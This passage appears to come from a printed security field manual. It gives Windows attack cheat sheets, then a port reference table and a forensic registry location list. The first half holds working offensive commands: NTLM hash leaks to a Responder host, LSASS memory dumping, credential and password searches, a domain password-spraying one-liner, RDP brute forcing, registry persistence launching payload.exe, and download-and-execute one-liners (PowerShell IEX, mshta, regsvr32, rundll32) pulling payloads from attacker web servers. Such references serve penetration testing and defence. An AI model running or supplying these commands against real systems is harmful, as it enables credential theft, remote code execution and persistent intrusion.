Various Windows commands can allow you to illicit an NTLMv1/v2
authentication leak. Their usefulness in an actual scenario I’ll
leave up to the user.
C:\> dir \\<Responder_IPAddr>\C$
C:\> regsvr32 /s /u /i://<Responder_IPAddr>/blah example.dll
C:\> echo 1 > //<Responder_IPAddr>/blah
C:\> pushd \\<Responder_IPAddr>\C$\blah
C:\> cmd /k \\<Responder_IPAddr>\C$\blah
C:\> cmd /c \\<Responder_IPAddr>\C$\blah
C:\> start \\<Responder_IPAddr>\C$\blah
C:\> mkdir \\<Responder_IPAddr>\C$\blah
C:\> type \\<Responder_IPAddr>\C$\blah
C:\> rpcping -s <Responder_IPAddr> -e 1234 -a privacy -u NTLM
POWERSHELL COMMANDS
356
Various Windows PowerShell commands can allow you to illicit an
NTLMv1/v2 authentication leak. Their usefulness in a scenario I’ll
leave up to the user.
PS> Invoke-Item \\<Responder_IPAddr>\C$\blah
PS> Get-Content \\<Responder_IPAddr>\C$\blah
PS> Start-Process \\<Responder_IPAddr>\C$\blah
DUMP LOLbins
#dump LSASS with rundll32
rundll32.exe C:\Windows\System32\comsvcs.dll #24 "<PID> lsass.dmp
full"
rundll32.exe comsvcs.dll #24 "<PID> lsass.dmp full"
#dump process pid; requires administrator privileges
tttracer.exe -dumpFull -attach <PID>
#diskshadow to exfiltrate data from VSS such as NTDS.dit
diskshadow.exe /s c:\test\diskshadow.txt
REFERENCE:
https://lolbas-project.github.io/#
WINDOWS PRIVILEGE ESCALATION
Groups on Target System
net localgroup
Get-LocalGroup | ft Name
Users in Administrators Group
net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
User Autologon Registry Entries
reg query "HKLM\SOFTWARE\Microsoft\Windows
NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName
DefaultDomainName DefaultPassword"
Get-ItemProperty -Path
'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WinLogon' | select "Default*"
List Credential Manager Cache/Locations
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden
C:\Users\username\AppData\Local\Microsoft\Credentials\
357
Get-ChildItem -Hidden
C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Identify if Target User can access SAM and SYSTEM files
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Weak folder permissions: Full Permissions Everyone/Users
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr
"Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr
"Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr
"BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr
"BUILTIN\Users"
Weak folder permissions: Modify Permissions Everyone/Users
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr
"Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr
"Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr
"BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr
"BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | %
{ try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select
-ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | %
{ try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select
-ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch
{}}
Processes and services
tasklist /svc
tasklist /v
net start
sc query
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name
-notlike "svchost*"} | Select Name, Handle,
@{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
358
Unquoted service paths
wmic service get name,displayname,pathname,startmode 2>nul |findstr
/i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v
"""
gwmi -class Win32_Service -Property Name, DisplayName, PathName,
StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -
notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select
PathName,DisplayName,Name
Scheduled Tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft
TaskName,TaskPath,State
Startup Items
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start
Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command,
Location, User | fl
Get-ItemProperty -Path
'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer
sion\Run'
Get-ItemProperty -Path
'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer
sion\RunOnce'
Get-ItemProperty -Path
'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVers
ion\Run'
Get-ItemProperty -Path
'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVers
ion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
Network Configuration
ipconfig /all
route print
359
arp -a
netstat -ano
file C:\WINDOWS\System32\drivers\etc\hosts
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh dump
Get-NetIPConfiguration | ft
InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Get-NetRoute -AddressFamily IPv4 | ft
DestinationPrefix,NextHop,RouteMetric,ifIndex
Get-NetNeighbor -AddressFamily IPv4 | ft
ifIndex,IPAddress,LinkLayerAddress,State
SNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -
Recurse
Registry Passwords
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
Image Build Artifacts Credentials
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml
*unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -
Recurse -ErrorAction SilentlyContinue | where {($_.Name -like
"*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
User Directories Search Passwords
dir C:\Users\<USER>\ /s *pass* == *vnc* == *.config* 2>nul
findstr C:\Users\ /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -
ErrorAction SilentlyContinue | Select-String -Pattern "password"
Get-ChildItem –Path C:\Users\ -Include *password*,*vnc*,*.config -
File -Recurse -ErrorAction SilentlyContinue
WindowsEnum
https://github.com/absolomb/WindowsEnum
360
A PowerShell Privilege Escalation Enumeration Script. This script
automates most of what is detailed in
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-
Guide/.
#Quick standard checks.
.\WindowsEnum.ps1
#Directly from Terminal
powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1
#Extended checks: search config files, interesting files, &
passwords (be patient).
.\WindowsEnum.ps1 extended
#Directly from Terminal
powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1
extended
Windows Exploit Suggester - Next Generation (WES-NG)
https://github.com/bitsadmin/wesng
WES-NG is a tool based on the output of Windows' systeminfo utility
which provides the list of vulnerabilities the OS is vulnerable to,
including any exploits for these vulnerabilities. Every Windows OS
between Windows XP and Windows 10, including their Windows Server
counterparts, is supported.
#Obtain the latest database of vulnerabilities by executing the
command:
wes.py --update.
#Use Windows' built-in systeminfo.exe tool on target host, or
remote system using systeminfo.exe /S MyRemoteHost ;to a file:
#Local
systeminfo > systeminfo.txt
#Remote
systeminfo.exe /S MyRemoteHost > systeminfo.txt
#To determine vulns execute WES-NG with the systeminfo.txt output
file:
wes.py systeminfo.txt
#To validate results use --muc-lookup parameter to validate
identified missing patches against Microsoft's Update Catalog.
361
Windows Scheduler SYSTEM Privilege Escalation Technique
$> net use \\[TargetIP]\ipc$ password /user:username
$> net time \\[TargetIP]
$> at \\[TargetIP] 12:00 pm tftp -I [MyIP] GET nc.exe
OR
$> at \\[TargetIP] 12:00 pm C:\Temp\payload.exe
PowerSploit
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
#Copy Privesc folder to PowerShell module directory. To find the
directory execute $Env:PSModulePath
#Import the module
Import-Module Privesc
#To run all privesc checks on the system
Invoke-AllChecks
Simple One-liner Password Spraying
#First get users on the domain into a textfile:
net user /domain > users.txt
#Echo passwords into a file:
echo “password1” >> passwords.txt
echo “Spring2020” >> passwords.txt
#One-liner script to spray passwords.txt against users.txt:
@FOR /F %n in (users.txt) DO @FOR /F %p in (passwords.txt) DO @net
use \\[DOMAINCONTROLLER]\IPC$ /user:[DOMAIN]\%n %p 1>NUL 2>&1 &&
@echo [*] %n:%p && @net use /delete \\[DOMAINCONTROLLER]\IPC$ >
NULL
362
Windows OS Command Injection
https://github.com/payloadbox/command-injection-payload-
list/blob/master/README.md
Export Plaintext Local Wireless Passwords
$> netsh wlan export profile key=clear
Search local system for passwords
$> findstr /si pass *.xml | *.doc | *.txt | *.xls | *.cfg
$> ls -R | select-string -Pattern password
REFERENCE:
!!!BEST!!!-> https://www.absolomb.com/2018-01-26-Windows-Privilege-
Escalation-Guide/
https://github.com/sagishahar/lpeworkshop
https://github.com/absolomb/WindowsEnum
https://github.com/J3wker/windows-privilege-escalation-cheat-sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology
%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-
unquoted-service-path-c7a011a8d8ae
RDP EXPLOITATION
XFREERDP -Simple User Enumeration Windows Target (kerberos based)
# Syntax = xfreerdp /v:<target_ip> -sec-nla /u:""
xfreerdp /v:192.168.0.32 -sec-nla /u:""
XFREERDP - Login
#Syntax = xfreerdp /u: /g: /p: /v:<target_ip>
xfreerdp /u:<USERNAME> /g:<RD_GATEWAY> /p:<PASS> /v:192.168.1.34
NCRACK - Wordlist based bruteforce RDP
https://nmap.org/ncrack/
ncrack -vv --user/-U <username_wordlist> --pass/-P
<password_wordlist> -s <target_ip>:3389
ncrack -vv --user <USERNAME> -P wordlist.txt -s 192.168.0.32:3389
CROWBAR - Bruteforce Tool
https://github.com/galkan/crowbar
crowbar.py -b rdp -U user/user_wordlist> -C
<password/password_wordlist> -s <target_ip>/32 -v
crowbar.py -b rdp -u user -C password_wordlist -s <target_ip>/32 -v
#To use username with a DOMAIN
363
crowbar.py -b rdp -u <DOMAIN>\\<USER> -c <PASS> -s 10.68.35.150/32
WINDOWS PERSISTENCE
SC Service Creation
sc create newservice type= own type= interact binPath=
“C:\windows\system32\cmd.exe /c payload.exe" & sc start newservice
Winlogon Helper DLL Shell
Requires modifications of the following registry keys:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell
#Modify registry with below commands:
reg add "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, payload.exe"
/f
OR PowerShell
Set-ItemProperty "HKLM:\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, payload.exe" -
Force
Winlogon Helper DLL UserInit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit
#Modify registry with below commands:
reg add "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe,
payload.exe" /f
#Or PowerShell
Set-ItemProperty "HKLM:\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, payload.exe"
-Force
Winlogon GP Extensions
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\GPExtensions\{GUID}\DllName=<DLL>
OMA Client Provisioning dmcfghost.exe
HKLM\SOFTWARE\Microsoft\PushRouter\Test\TestDllPath2=<DLL>
Werfault.exe Reflective Debugger
#Add Run key to executable
HKLM\Software\Microsoft\Windows\Windows Error
Reporting\Hangs\ReflectDebugger=<path\to\exe>
#Launch
werfault.exe -pr 1
364
OffloadModExpo Function
HKLM\Software\Microsoft\Cryptography\Offload\ExpoOffload=<DLL>
DiskCleanup CleanupMgr
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\
cleanuppath = %SystemRoot%\System32\payload.exe
Application Shim DLL Injection
#Use Microsoft Application Compatibility Toolkit (ACT) to build a
shim> https://docs.microsoft.com/en-
us/windows/deployment/planning/compatibility-administrator-users-
guide
#Create shim for a known application on the target host.
Navigate to the following (doesn’t have to be built/done on target
host:
Create New Compatibility Fix -> RedirectEXE -> Parameters ->
Command Line -> C:\path\to\local\payload.dll -> OK -> Next ->
Finish
#Save as Shim database file .sdb
#Then install shim on target host via:
sbdinst.exe payload.sdb
#The .sdb file can then be deleted.
Application Shim Redirect EXE
#Use Microsoft Application Compatibility Toolkit (ACT) to build a
shim> https://docs.microsoft.com/en-
us/windows/deployment/planning/compatibility-administrator-users-
guide
#Place a malicious payload on a share in the target network.
#Create shim for a known application on the target host.
Navigate to the following (doesn’t have to be built/done on target
host:
Create New Compatibility Fix -> InjectDll -> Parameters -> Command
Line -> \\10.10.0.1\path\to\payload.exe -> OK -> Next -> Finish
#Save as Shim database file .sdb
#Then install shim on target host via:
sbdinst.exe payload.sdb
#The .sdb file can then be deleted.
VMware Tools BAT File Persistence
#Add command into one or more of the following:
C:\Program Files\VMware\VMware Tools\poweroff-vm-default.bat
C:\Program Files\VMware\VMware Tools\poweron-vm-default.bat
C:\Program Files\VMware\VMware Tools\resume-vm-default.bat
365
C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat
RATTLER - Tool to identify DLL Hijacks
https://github.com/sensepost/rattler
REFERENCE:
http://www.hexacorn.com/blog/2018/10/page/4/
http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
http://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/
https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/
https://liberty-shell.com/sec/2020/02/25/shim-persistence/
https://www.youtube.com/watch?v=LOsesi3QkXY
https://pentestlab.blog/tag/persistence/
Twitter -> @subTee
COMMAMD & CONTROL
C2 Matrix
It is the golden age of Command and Control (C2) frameworks. The
goal of this site is to point you to the best C2 framework for your
needs based on your adversary emulation plan and the target
environment. Take a look at the matrix or use the questionnaire to
determine which fits your needs.
https://www.thec2matrix.com/
MORE WINDOWS LOLBIN DOWNLOAD OPTIONS
POWERSHELL
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object
net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]
'))"
#OR
powershell -exec bypass -c "(New-Object
Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetw
orkCredentials;iwr('http://webserver/payload.ps1')|iex"
#OR
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
#File written to WebDAV Local Cache
CMD
cmd.exe /k < \\webdavserver\folder\batchfile.txt
#File written to WebDAV Local Cache
Cscript/Wscript
cscript //E:jscript \\webdavserver\folder\payload.txt
#File written to WebDAV Local Cache
MSHTA
366
mshta
vbscript:Close(Execute("GetObject(""script:http://webserver/payload
.sct"")"))
#File written to IE Local Cache
OR
mshta \\webdavserver\folder\payload.hta
#File written to WebDAV Local Cache
RUNDLL32
rundll32.exe
javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http
://webserver/payload.sct");window.close();
#File written to IE Local Cache
#OR
rundll32 \\webdavserver\folder\payload.dll,entrypoint
#File written to WebDAV Local Cache
WMIC
wmic os get /format:"https://webserver/payload.xsl"
#File written to IE Local Cache
REGSVR32
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
#File written to WebDAV Local Cache
#OR
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
#File written to WebDAV Local Cache
ODBCCONF
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
#File written to WebDAV Local Cache
REFERENCE:
https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-
remote-payload-and-execute-arbitrary-code/
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet#ais-
anchor
https://artkond.com/2017/03/23/pivoting-guide/
https://morph3sec.com/2019/07/16/Windows-Red-Team-Cheat-Sheet/
W
W
WINDOWS_Hardening
BLUE TEAM
CONFIGURATION
WINDOWS
367
WINDOWS HARDENING GUIDE
https://github.com/decalage2/awesome-security-hardening#windows
WINDOWS 10 HARDENING GUIDE
https://github.com/0x6d69636b/windows_hardening/blob/master/windows
_10_hardening.md
W
W
WINDOWS_Ports
ALL
INFORMATIONAL
WINDOWS
Historical Windows services and ports for all versions.
DEFAULT DYNAMIC PORT RANGES:
Windows Vista and later Range= 49152-65535
Windows 2000, XP, and Server 2003 Range= 1025-5000
PORT
APP_PROTO
SYSTEM SERVICE
7
TCP
Echo
Simple TCP/IP Services
7
UDP
Echo
Simple TCP/IP Services
9
TCP
Discard
Simple TCP/IP Services
9
UDP
Discard
Simple TCP/IP Services
13
TCP
Daytime
Simple TCP/IP Services
13
UDP
Daytime
Simple TCP/IP Services
17
TCP
Quotd
Simple TCP/IP Services
17
UDP
Quotd
Simple TCP/IP Services
19
TCP
Chargen
Simple TCP/IP Services
19
UDP
Chargen
Simple TCP/IP Services
20
TCP
FTP default data
FTP Publishing Service
21
TCP
FTP control
FTP Publishing Service
21
TCP
FTP control
Application Layer Gateway
Service
23
TCP
Telnet
Telnet
25
TCP
SMTP
Simple Mail Transfer
Protocol
25
TCP
SMTP
Exchange Server
42
TCP
WINS Replication
Windows Internet Name
Service
42
UDP
WINS Replication
Windows Internet Name
Service
53
TCP
DNS
DNS Server
53
UDP
DNS
DNS Server
67
UDP
DHCP Server
DHCP Server
69
UDP
TFTP
Trivial FTP Daemon Service
80
TCP
HTTP
Windows Media Services
80
TCP
HTTP
WinRM 1.1 and earlier
368
80
TCP
HTTP
World Wide Web Publishing
Service
80
TCP
HTTP
SharePoint Portal Server
88
TCP
Kerberos
Kerberos Key Distribution
Center
88
UDP
Kerberos
Kerberos Key Distribution
Center
102
TCP
X.400
Microsoft Exchange MTA
Stacks
110
TCP
POP3
Microsoft POP3 Service
110
TCP
POP3
Exchange Server
119
TCP
NNTP
Network News Transfer
Protocol
123
UDP
NTP
Windows Time
123
UDP
SNTP
Windows Time
135
TCP
RPC
Message Queuing
135
TCP
RPC
Remote Procedure Call
135
TCP
RPC
Exchange Server
135
TCP
RPC
Certificate Services
135
TCP
RPC
Cluster Service
135
TCP
RPC
Distributed File System
Namespaces
135
TCP
RPC
Distributed Link Tracking
135
TCP
RPC
Distributed Transaction
Coordinator
135
TCP
RPC
Distributed File
Replication Service
135
TCP
RPC
Fax Service
135
TCP
RPC
Microsoft Exchange Server
135
TCP
RPC
File Replication Service
135
TCP
RPC
Group Policy
135
TCP
RPC
Local Security Authority
135
TCP
RPC
Remote Storage Notification
135
TCP
RPC
Remote Storage
135
TCP
RPC
Systems Management Server
2.0
135
TCP
RPC
Terminal Services Licensing
135
TCP
RPC
Terminal Services Session
Directory
137
UDP
NetBIOS Name
Resolution
Computer Browser
137
UDP
NetBIOS Name
Resolution
Server
137
UDP
NetBIOS Name
Resolution
Windows Internet Name
Service
137
UDP
NetBIOS Name
Resolution
Net Logon
137
UDP
NetBIOS Name
Resolution
Systems Management Server
2.0
369
138
UDP
NetBIOS Datagram
Service
Computer Browser
138
UDP
NetBIOS Datagram
Service
Server
138
UDP
NetBIOS Datagram
Service
Net Logon
138
UDP
NetBIOS Datagram
Service
Distributed File System
138
UDP
NetBIOS Datagram
Service
Systems Management Server
2.0
138
UDP
NetBIOS Datagram
Service
License Logging Service
139
TCP
NetBIOS Session
Service
Computer Browser
139
TCP
NetBIOS Session
Service
Fax Service
139
TCP
NetBIOS Session
Service
Performance Logs and Alerts
139
TCP
NetBIOS Session
Service
Print Spooler
139
TCP
NetBIOS Session
Service
Server
139
TCP
NetBIOS Session
Service
Net Logon
139
TCP
NetBIOS Session
Service
Remote Procedure Call
Locator
139
TCP
NetBIOS Session
Service
Distributed File System
Namespaces
139
TCP
NetBIOS Session
Service
Systems Management Server
2.0
139
TCP
NetBIOS Session
Service
License Logging Service
143
TCP
IMAP
Exchange Server
161
UDP
SNMP
SNMP Service
162
UDP
SNMP Traps
Outgoing
SNMP Trap Service
389
TCP
LDAP Server
Local Security Authority
389
UDP
DC Locator
Local Security Authority
389
TCP
LDAP Server
Distributed File System
Namespaces
389
UDP
DC Locator
Distributed File System
Namespaces
389
UDP
DC Locator
Netlogon
389
UDP
DC Locator
Kerberos Key Distribution
Center
389
TCP
LDAP Server
Distributed File System
Replication
389
UDP
DC Locator
Distributed File System
Replication
443
TCP
HTTPS
HTTP SSL
370
443
TCP
HTTPS
World Wide Web Publishing
Service
443
TCP
HTTPS
SharePoint Portal Server
443
TCP
RPC over HTTPS
Exchange Server 2003
443
TCP
HTTPS
WinRM 1.1 and earlier
445
TCP
SMB
Fax Service
445
TCP
SMB
Print Spooler
445
TCP
SMB
Server
445
TCP
SMB
Remote Procedure Call
Locator
445
TCP
SMB
Distributed File System
Namespaces
445
TCP
SMB
Distributed File System
Replication
445
TCP
SMB
License Logging Service
445
TCP
SMB
Net Logon
464
UDP
Kerberos Password
V5
Kerberos Key Distribution
Center
464
TCP
Kerberos Password
V5
Kerberos Key Distribution
Center
500
UDP
IPsec ISAKMP
Local Security Authority
515
TCP
LPD
TCP/IP Print Server
554
TCP
RTSP
Windows Media Services
563
TCP
NNTP over SSL
Network News Transfer
Protocol
593
TCP
RPC over HTTPS
endpoint mapper
Remote Procedure Call
593
TCP
RPC over HTTPS
Exchange Server
636
TCP
LDAP SSL
Local Security Authority
636
UDP
LDAP SSL
Local Security Authority
647
TCP
DHCP Failover
DHCP Failover
9389
TCP
Active Directory
Web Services
Active Directory Web
Services
9389
TCP
Active Directory
Web Services
Active Directory Management
Gateway Service
993
TCP
IMAP over SSL
Exchange Server
995
TCP
POP3 over SSL
Exchange Server
1067
TCP
Installation
Bootstrap Service
Installation Bootstrap
protocol server
1068
TCP
Installation
Bootstrap Service
Installation Bootstrap
protocol client
1270
TCP
MOM-Encrypted
Microsoft Operations
Manager 2000
1433
TCP
SQL over TCP
Microsoft SQL Server
1433
TCP
SQL over TCP
MSSQL$UDDI
1434
UDP
SQL Probe
Microsoft SQL Server
1434
UDP
SQL Probe
MSSQL$UDDI
1645
UDP
Legacy RADIUS
Internet Authentication
Service
371
1646
UDP
Legacy RADIUS
Internet Authentication
Service
1701
UDP
L2TP
Routing and Remote Access
1723
TCP
PPTP
Routing and Remote Access
1755
TCP
MMS
Windows Media Services
1755
UDP
MMS
Windows Media Services
1801
TCP
MSMQ
Message Queuing
1801
UDP
MSMQ
Message Queuing
1812
UDP
RADIUS
Authentication
Internet Authentication
Service
1813
UDP
RADIUS Accounting
Internet Authentication
Service
1900
UDP
SSDP
SSDP Discovery Service
2101
TCP
MSMQ-DCs
Message Queuing
2103
TCP
MSMQ-RPC
Message Queuing
2105
TCP
MSMQ-RPC
Message Queuing
2107
TCP
MSMQ-Mgmt
Message Queuing
2393
TCP
OLAP Services 7.0
SQL Server: Downlevel OLAP
Client Support
2394
TCP
OLAP Services 7.0
SQL Server: Downlevel OLAP
Client Support
2460
UDP
MS Theater
Windows Media Services
2535
UDP
MADCAP
DHCP Server
2701
TCP
SMS Remote Control SMS Remote Control Agent
2701
UDP
SMS Remote Control SMS Remote Control Agent
2702
TCP
SMS Remote Control
(data)
SMS Remote Control Agent
2702
UDP
SMS Remote Control
(data)
SMS Remote Control Agent
2703
TCP
SMS Remote Chat
SMS Remote Control Agent
2703
UPD
SMS Remote Chat
SMS Remote Control Agent
2704
TCP
SMS Remote File
Transfer
SMS Remote Control Agent
2704
UDP
SMS Remote File
Transfer
SMS Remote Control Agent
2725
TCP
SQL Analysis
Services
SQL Server Analysis
Services
2869
TCP
UPNP
UPnP Device Host
2869
TCP
SSDP event
notification
SSDP Discovery Service
3268
TCP
Global Catalog
Local Security Authority
3269
TCP
Global Catalog
Local Security Authority
3343
UDP
Cluster Services
Cluster Service
3389
TCP
Terminal Services
NetMeeting Remote Desktop
Sharing
3389
TCP
Terminal Services
Terminal Services
3527
UDP
MSMQ-Ping
Message Queuing
4011
UDP
BINL
Remote Installation
4500
UDP
NAT-T
Local Security Authority
372
5000
TCP
SSDP legacy event
notification
SSDP Discovery Service
5004
UDP
RTP
Windows Media Services
5005
UDP
RTCP
Windows Media Services
5722
TCP
RPC
Distributed File System
Replication
6001
TCP
Information Store
Exchange Server 2003
6002
TCP
Directory Referral Exchange Server 2003
6004
TCP
DSProxy/NSPI
Exchange Server 2003
42424
TCP
ASP.Net Session
State
ASP.NET State Service
51515
TCP
MOM-Clear
Microsoft Operations
Manager 2000
5985
TCP
HTTP
WinRM 2.0
5986
TCP
HTTPS
WinRM 2.0
1024-
65535
TCP
RPC
Randomly allocated high TCP
ports
135
TCP
WMI
Hyper-V service
49152 -
65535
TCP
Random allocated
high TCP ports
Hyper-V service
80
TCP
Kerberos
Authentication
(HTTP)
Hyper-V service
443
TCP
Certificate-based
Authentication
(HTTPS)
Hyper-V service
6600
TCP
Live Migration
Hyper-V Live Migration
445
TCP
SMB
Hyper-V Live Migration
3343
UDP
Cluster Service
Traffic
Hyper-V Live Migration
REFERENCE:
https://support.microsoft.com/en-us/help/832017/service-overview-and-
network-port-requirements-for-windows
W
W
WINDOWS_Registry
ALL
INFORMATIONAL
WINDOWS
KEY DEFINITIONS
HKCU: HKEY_Current_User keys are settings specific to a user and
only apply to a specific or currently logged on user. Each user
gets their own user key to store their unique settings.
HKU: HKEY_Users keys are settings that apply to all
useraccounts.AllHKCU keys are maintained under this key.
373
HKU/<SID> is equal to HKCU. Set auditing on the appropriate
key(s)for the user logged in (HKCU)or other users by <GUID>
HKLM: HKEY_Local_Machine keys are where settings for the machine or
system that applies to everyone and everything are stored.
Common Windows registry locations and settings.
DESCRIPTION
X
P V 7 8
1
0 KEY
$MFT Zone Definition
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
FileSystem /
NtfsMftZoneReservation
64 BitShim Cache
7
HKLM\System\CurrentControlSet
\Control\Session
Manager\AppCompatCache\AppCom
patCache
AccessData FTK Time
Zone Cache
NTUSER.DAT\Software\AccessDat
a\ Products\Forensic
Toolkit\\ Settings\ TimeZoneC
ache
AccessData Registry
Viewer Recent File
List
NTUSER.DAT\Software\Accessdat
a\ Registry Viewer\Recent
File List
Acro Software CutePDF
NTUSER.DAT\Software\Acro
Software Inc\CPW
Adobe
NTUSER.DAT\Software\Adobe\
Adobe Acrobat
NTUSER.DAT\Software\Adobe\Acr
obat
Reader\AVGeneral\cRecentFiles
\c#
Adobe Photoshop Last
Folder
NTUSER.DAT\Software\Adobe\ Ph
otoshop\\VisitedDirs
Adobe Photoshop MRUs
NTUSER.DAT\Software\Adobe\ Me
diaBrowser\MRU\Photoshop\ Fil
eList\
AIM
NTUSER.DAT\Software\America
Online\AOL
InstantMessenger\ CurrentVers
ion\Users\ username
AIM
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\ CurrentVersion\Use
rs
AIM Away Messages
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger(TM)\ CurrentVersion
\Users\screen
name\ IAmGoneList
374
AIM File Transfers &
Sharing
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\ CurrentVersion\Use
rs\screen name\ Xfer
AIM Last User
NTUSER.DAT\Software\America
Online\AOL Instant Messenger
(TM)\ CurrentVersion\Login -
Screen Name
AIM Profile Info
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\ CurrentVersion\Use
rs\screen name\DirEntry
AIM Recent Contacts
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\ CurrentVersion\use
rs\ username\ recent IM
ScreenNames
AIM Saved Buddy List
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\ CurrentVersion\Use
rs\username\Config Transport
All UsrClass data in
HKCR hive
7 8
1
0 HKCR\Local Settings
AOL 8 Messenger Away
Messages
7
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger(TM)\CurrentVersion\
Users\[screen
name]\IAmGoneList
AOL 8 Messenger Buddy
List
7
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\CurrentVersion\User
s\username\Config Transport
AOL 8 Messenger File
Transfers
7
NTUSER.DAT\Software\America
Online\AOL Instant Messenger
(TM)\Current
Version\Users\[screen
name]\Xfer
AOL 8 Messenger
Information
7
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\CurrentVersion\User
s\username
AOL 8 Messenger Last
User
7
NTUSER.DAT\Software\America
Online\AOL Instant Messenger
(TM)\CurrentVersion\[Login -
Screen Name]
AOL 8 Messenger
Profile Info
7
NTUSER.DAT\Software\America
Online\AOL Instant Messenger
(TM)\CurrentVersion\Users\[sc
reen name]\DirEntry
375
AOL 8 Messenger
Recent Contact
7
